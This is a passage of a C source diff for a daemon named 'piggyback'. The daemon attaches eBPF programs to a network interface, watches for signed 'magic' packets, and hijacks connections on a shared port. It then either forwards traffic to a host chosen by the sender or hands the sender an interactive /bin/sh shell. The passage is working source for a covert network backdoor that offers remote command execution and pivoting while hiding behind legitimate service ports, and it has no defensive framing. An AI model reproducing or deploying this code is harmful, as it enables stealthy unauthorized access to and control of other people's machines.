timestamp; + uint8_t sig_prefix[8]; +}; + +static struct replay_entry replay_ring[REPLAY_RING_SIZE]; +static int replay_head = 0; +static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER; + +static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *sig) { + pthread_mutex_lock(&replay_lock); + for (int i = 0; i < REPLAY_RING_SIZE; i++) { + struct replay_entry *e = &replay_ring[i]; + if (e->src_ip == src_ip && e->timestamp == ts && + memcmp(e->sig_prefix, sig, 8) == 0) { + pthread_mutex_unlock(&replay_lock); + return -1; + } + } + struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE]; + slot->src_ip = src_ip; + slot->timestamp = ts; + memcpy(slot->sig_prefix, sig, 8); + replay_head++; + pthread_mutex_unlock(&replay_lock); + return 0; +} + +// ── Splice loop ─────────────────────────────────────────────────────────────── + +static void splice_loop(int a, int b) { + int epfd = epoll_create1(0); + if (epfd < 0) return; + + struct epoll_event ev, evs[2]; + ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; + ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev); + ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev); + + char buf[65536]; + while (running) { + int n = epoll_wait(epfd, evs, 2, 1000); + for (int i = 0; i < n; i++) { + if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; + int src = evs[i].data.fd; + int dst = (src == a) ? b : a; + ssize_t r = read(src, buf, sizeof(buf)); + if (r <= 0) goto done; + ssize_t w = 0; + while (w < r) { + ssize_t s = write(dst, buf + w, r - w); + if (s <= 0) goto done; + w += s; + } + } + } +done: + close(epfd); +} + +// ── Forward action ──────────────────────────────────────────────────────────── + +static void do_forward(int client_fd, const char *host, int port) { + struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM }; + struct addrinfo *res; + char port_str[8]; + snprintf(port_str, sizeof(port_str), "%d", port); + + if (getaddrinfo(host, port_str, &hints, &res) != 0) { + log_err("getaddrinfo(%s:%d) failed", host, port); + return; + } + + int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0); + if (fwd_fd < 0) { freeaddrinfo(res); return; } + + if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) { + log_err("connect to %s:%d: %s", host, port, strerror(errno)); + close(fwd_fd); + freeaddrinfo(res); + return; + } + freeaddrinfo(res); + + log_dbg("forwarding to %s:%d", host, port); + splice_loop(client_fd, fwd_fd); + close(fwd_fd); +} + +// ── Shell action ────────────────────────────────────────────────────────────── + +static void do_shell(int client_fd, const char *cmd) { + int in_pipe[2], out_pipe[2]; + if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return; + + pid_t pid = fork(); + if (pid < 0) return; + + if (pid == 0) { + close(in_pipe[1]); + close(out_pipe[0]); + dup2(in_pipe[0], STDIN_FILENO); + dup2(out_pipe[1], STDOUT_FILENO); + dup2(out_pipe[1], STDERR_FILENO); + close(in_pipe[0]); + close(out_pipe[1]); + execl("/bin/sh", "/bin/sh", "-c", cmd, NULL); + _exit(1); + } + + close(in_pipe[0]); + close(out_pipe[1]); + fcntl(in_pipe[1], F_SETFL, O_NONBLOCK); + fcntl(out_pipe[0], F_SETFL, O_NONBLOCK); + fcntl(client_fd, F_SETFL, O_NONBLOCK); + + int epfd = epoll_create1(0); + struct epoll_event ev, evs[2]; + ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; + ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev); + ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev); + + char buf[65536]; + while (running) { + int n = epoll_wait(epfd, evs, 2, 1000); + for (int i = 0; i < n; i++) { + if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done; + int fd = evs[i].data.fd; + if (fd == out_pipe[0]) { + ssize_t r = read(out_pipe[0], buf, sizeof(buf)); + if (r <= 0) goto shell_done; + write(client_fd, buf, r); + } else { + ssize_t r = read(client_fd, buf, sizeof(buf)); + if (r <= 0) goto shell_done; + write(in_pipe[1], buf, r); + } + } + } +shell_done: + close(epfd); + close(in_pipe[1]); + close(out_pipe[0]); +} + +// ── Dispatch thread ─────────────────────────────────────────────────────────── + +struct dispatch_args { + int client_fd; + uint8_t header[HEADER_LEN]; + uint8_t header_valid; +}; + +static void *dispatch_thread(void *arg) { + struct dispatch_args *a = arg; + int client_fd = a->client_fd; + + uint8_t action = ACTION_FORWARD; + char fwd_host[64]; + int fwd_port; + strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1); + fwd_port = FWD_PORT; + + if (AUTH_ENABLED && a->header_valid) { + uint8_t *hdr = a->header; + + uint64_t ts = 0; + for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i]; + uint64_t now = (uint64_t)time(NULL); + if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) { + log_err("timestamp out of window, rejecting"); + goto reject; + } + + uint8_t msg[HDR_MSG_LEN]; + memcpy(msg, hdr, 16); + memcpy(msg + 16, server_ip_bytes, 4); + + if (crypto_sign_ed25519_verify_detached( + hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) { + log_err("Ed25519 signature invalid, rejecting"); + goto reject; + } + + uint32_t src_ip32; + memcpy(&src_ip32, server_ip_bytes, 4); + if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) { + log_err("replay detected, rejecting"); + goto reject; + } + + action = hdr[HDR_ACTION_OFF]; + if (action == ACTION_FORWARD) { + uint8_t *ip = hdr + HDR_TARGET_IP_OFF; + snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", + ip[0], ip[1], ip[2], ip[3]); + fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1]; + } + log_dbg("auth OK: action=0x%02x", action); + + } else if (AUTH_ENABLED && !a->header_valid) { + log_err("auth required but no valid header, rejecting"); + goto reject; + } + + if (action == ACTION_FORWARD) { + log_info("forward → %s:%d", fwd_host, fwd_port); + do_forward(client_fd, fwd_host, fwd_port); + } else if (action == ACTION_SHELL) { + char cmd[1024] = "bash"; + ssize_t r = read(client_fd, cmd, sizeof(cmd)-1); + if (r > 0) cmd[r] = '\0'; + log_info("shell: %s", cmd); + do_shell(client_fd, cmd); + } else { + log_err("unknown action 0x%02x, rejecting", action); + } + + close(client_fd); + free(a); + return NULL; + +reject: + close(client_fd); + free(a); + return NULL; +} + +// ── Ring buffer event handler ───────────────────────────────────────────────── + +static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) { + struct event *e = data; + + char src_str[INET6_ADDRSTRLEN]; + if (e->is_ipv6) + inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str)); + else + inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str)); + + log_info("magic from %s:%d (flags=0x%02x header_valid=%d)", + src_str, ntohs(e->src_port), e->flags, e->header_valid); + + struct sockaddr_storage peer; + socklen_t plen = sizeof(peer); + int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen); + if (client_fd < 0) { + log_err("accept: %s", strerror(errno)); + return 0; + } + + struct dispatch_args *a = malloc(sizeof(*a)); + if (!a) { close(client_fd); return 0; } + a->client_fd = client_fd; + a->header_valid = e->header_valid; + memcpy(a->header, e->header, HEADER_LEN); + + pthread_t tid; + pthread_create(&tid, NULL, dispatch_thread, a); + pthread_detach(tid); + return 0; +} + +// ── TC attachment ───────────────────────────────────────────────────────────── + +static int attach_tc(struct bpf_program *prog) { + DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, + .ifindex = ifindex, + .attach_point = BPF_TC_INGRESS, + ); + DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, + .handle = 1, + .priority = 1, + .prog_fd = bpf_program__fd(prog), + ); + bpf_tc_hook_create(&hook); + if (bpf_tc_attach(&hook, &opts) < 0) { + log_err("bpf_tc_attach: %s", strerror(errno)); + return -1; + } + log_info("TC attached to %s ingress", iface_name); + return 0; +} + +static void detach_tc(void) { + DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, + .ifindex = ifindex, + .attach_point = BPF_TC_INGRESS, + ); + bpf_tc_hook_destroy(&hook); + log_info("TC detached"); +} + +// ── sk_lookup attachment ────────────────────────────────────────────────────── + +static int sklookup_link_fd = -1; + +static int attach_sklookup(struct bpf_program *prog) { + int netns_fd = open("/proc/self/ns/net", O_RDONLY); + if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; } + struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd); + close(netns_fd); + if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; } + sklookup_link_fd = bpf_link__fd(link); + log_info("sk_lookup attached to netns"); + return 0; +} + +// ── Stats ───────────────────────────────────────────────────────────────────── + +static void dump_stats(void) { + int map_fd = bpf_object__find_map_fd_by_name(obj, "stats"); + if (map_fd < 0) return; + uint64_t v; uint32_t k; + k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v); + k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v); + k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v); + k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v); +} + +// ── Signal ──────────────────────────────────────────────────────────────────── + +static void on_signal(int sig __attribute__((unused))) { running = 0; } + +// ── Main ────────────────────────────────────────────────────────────────────── + +int main(void) { + if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; } + + inet_pton(AF_INET, SERVER_IP, server_ip_bytes); + + signal(SIGINT, on_signal); + signal(SIGTERM, on_signal); + signal(SIGPIPE, SIG_IGN); + + if (strlen(IFACE) > 0) { + strncpy(iface_name, IFACE, sizeof(iface_name)-1); + } else { + if (get_default_iface(iface_name, sizeof(iface_name)) != 0) { + log_err("could not detect default interface — set IFACE in source"); + return 1; + } + log_info("auto-detected interface: %s", iface_name); + } + + ifindex = if_nametoindex(iface_name); + if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; } + + if (AUTH_ENABLED) + log_info("Ed25519 auth enabled"); + else + log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check"); + + // ── SO_REUSEPORT accept socket ──────────────────────────────────────────── + accept_fd = socket(AF_INET6, SOCK_STREAM, 0); + if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0); + if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; } + + int yes = 1; + setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); + setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes)); + + struct sockaddr_in6 laddr = { + .sin6_family = AF_INET6, + .sin6_port = htons(LISTEN_PORT), + .sin6_addr = IN6ADDR_ANY_INIT, + }; + if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { + struct sockaddr_in la4 = { + .sin_family = AF_INET, + .sin_port = htons(LISTEN_PORT), + .sin_addr.s_addr = INADDR_ANY, + }; + if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) { + log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); + return 1; + } + } + if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; } + + // ── Load eBPF ───────────────────────────────────────────────────────────── + obj = bpf_object__open("piggyback.bpf.o"); + if (!obj) { log_err("bpf_object__open failed"); return 1; } + if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; } + + int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock"); + if (sock_map_fd >= 0) { + uint32_t key = 0; + uint32_t val = (uint32_t)accept_fd; + bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY); + } + + struct bpf_program *tc_prog = bpf_object__find_program_by_name(obj, "piggyback_ingress"); + if (!tc_prog) { log_err("TC program not found"); return 1; } + if (attach_tc(tc_prog) < 0) return 1; + + struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup"); + if (sk_prog && attach_sklookup(sk_prog) < 0) + log_info("sk_lookup attach failed — SYN-level steering disabled"); + + int rb_fd = bpf_object__find_map_fd_by_name(obj, "events"); + struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL); + if (!rb) { log_err("ring_buffer__new failed"); return 1; } + + log_info("piggyback running on %s port %d → %s:%d", + iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT); + + while (running) + ring_buffer__poll(rb, 100); + + log_info("shutting down..."); + dump_stats(); + detach_tc(); + ring_buffer__free(rb); + bpf_object__close(obj); + close(accept_fd); + return 0; +}